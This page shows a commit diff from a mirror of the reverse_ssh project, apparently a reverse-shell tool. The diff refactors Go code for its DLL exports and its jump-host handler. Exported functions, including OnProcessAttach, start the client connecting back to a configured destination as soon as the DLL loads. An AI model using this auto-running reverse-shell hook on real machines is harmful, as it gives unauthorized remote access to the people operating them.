Projects STRLCPY reverse_ssh Commits 8d7004fa
🤬
  • ■ ■ ■ ■ ■ ■
    cmd/client/dllfuncs.go
    skipped 2 lines
    3 3  package main
    4 4   
    5 5  import "C"
    6  -import "github.com/NHAS/reverse_ssh/internal/client"
    7 6   
    8 7  //export VoidFunc
    9 8  func VoidFunc() {
    10  - client.Run(destination, fingerprint, "")
     9 + Run(destination, fingerprint, "")
    11 10  }
    12 11   
    13 12  //export OnProcessAttach
    14 13  func OnProcessAttach() {
    15  - client.Run(destination, fingerprint, "")
     14 + 
     15 + Run(destination, fingerprint, "")
    16 16  }
    17 17   
  • ■ ■ ■ ■
    internal/client/client.go
    skipped 202 lines
    203 203   //Otherwise anything else should be done via jumphost syntax -J
    204 204   err = internal.RegisterChannelCallbacks(nil, chans, clientLog, map[string]internal.ChannelHandler{
    205 205   "session": handlers.ServerConsoleSession(sshConn),
    206  - "jump": handlers.JumpHandler(sshPriv),
     206 + "jump": handlers.JumpHandler(sshPriv, sshConn),
    207 207   })
    208 208   
    209 209   sshConn.Close()
    skipped 11 lines
  • ■ ■ ■ ■ ■ ■
    internal/client/handlers/jumphost.go
    skipped 9 lines
    10 10   "golang.org/x/crypto/ssh"
    11 11  )
    12 12   
    13  -func JumpHandler(sshPriv ssh.Signer) internal.ChannelHandler {
     13 +func JumpHandler(sshPriv ssh.Signer, serverConn ssh.Conn) internal.ChannelHandler {
    14 14   
    15 15   return func(_ *internal.User, newChannel ssh.NewChannel, log logger.Logger) {
    16 16   connection, requests, err := newChannel.Accept()
    skipped 31 lines
    48 48   }
    49 49   defer conn.Close()
    50 50   
    51  - clientLog := logger.NewLog(conn.RemoteAddr().String())
     51 + clientLog := logger.NewLog(serverConn.RemoteAddr().String())
    52 52   clientLog.Info("New SSH connection, version %s", conn.ClientVersion())
    53 53   
    54  - user, err := internal.CreateUser(conn)
     54 + user, err := internal.CreateUser(serverConn)
    55 55   if err != nil {
    56 56   log.Error("Unable to add user %s\n", err)
    57 57   return
    skipped 48 lines
Please wait...
Page is in error, reload to recover